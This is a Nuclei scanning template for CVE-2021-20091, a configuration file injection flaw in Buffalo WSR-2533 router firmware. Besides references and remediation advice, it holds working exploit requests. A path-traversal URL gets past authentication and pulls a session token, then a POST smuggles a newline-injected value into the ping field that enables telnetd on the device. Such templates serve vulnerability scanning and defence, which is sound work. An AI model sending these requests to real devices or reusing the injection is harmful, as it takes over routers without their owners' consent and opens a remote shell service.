id: CVE-2021-20091

info:
  name: Buffalo WSR-2533DHPL2 - Configuration File Injection
  author: gy741,pdteam,parth
  severity: high
  description: |
    The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 does not properly sanitize user input. An authenticated remote attacker could leverage this vulnerability to alter device configuration, potentially leading to remote code execution.
  remediation: |
    Apply the latest firmware update provided by Buffalo to fix the configuration file injection vulnerability.
  reference:
    - https://blogs.juniper.net/en-us/security/freshly-disclosed-vulnerability-cve-2021-20090-exploited-in-the-wild
    - https://www.tenable.com/security/research/tra-2021-13
    - https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20091
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-20091
    epss-score: 0.00928
    epss-percentile: 0.81194
    cpe: cpe:2.3:o:buffalo:wsr-2533dhpl2-bk_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: buffalo
    product: wsr-2533dhpl2-bk_firmware
  tags: cve,cve2021,buffalo,firmware,iot,tenable

http:
  - raw:
      - |
        GET /images/..%2finfo.html HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}/info.html
      - |
        POST /images/..%2fapply_abstract.cgi HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}/info.html
        Content-Type: application/x-www-form-urlencoded

        action=start_ping&httoken={{trimprefix(base64_decode(httoken), base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"))}}&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=127.0.0.1%0AARC_SYS_TelnetdEnable=1&ARC_ping_status=0&TMP_Ping_Type=4

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "/Success.htm"

      - type: status
        status:
          - 302

    extractors:
      - type: regex
        name: httoken
        group: 1
        regex:
          - 'base64\,(.*?)" border='
        internal: true
# digest: 4b0a00483046022100a9d0218e666d812c6c4a2daa70e18d141da012ad397defe99a448a60653f6beb022100e942d25e288d94f5770cc5263e99a2179a7cdb51cd6b835ae0560e391f7b858f:922c64590222798bb761d5b6d8e72950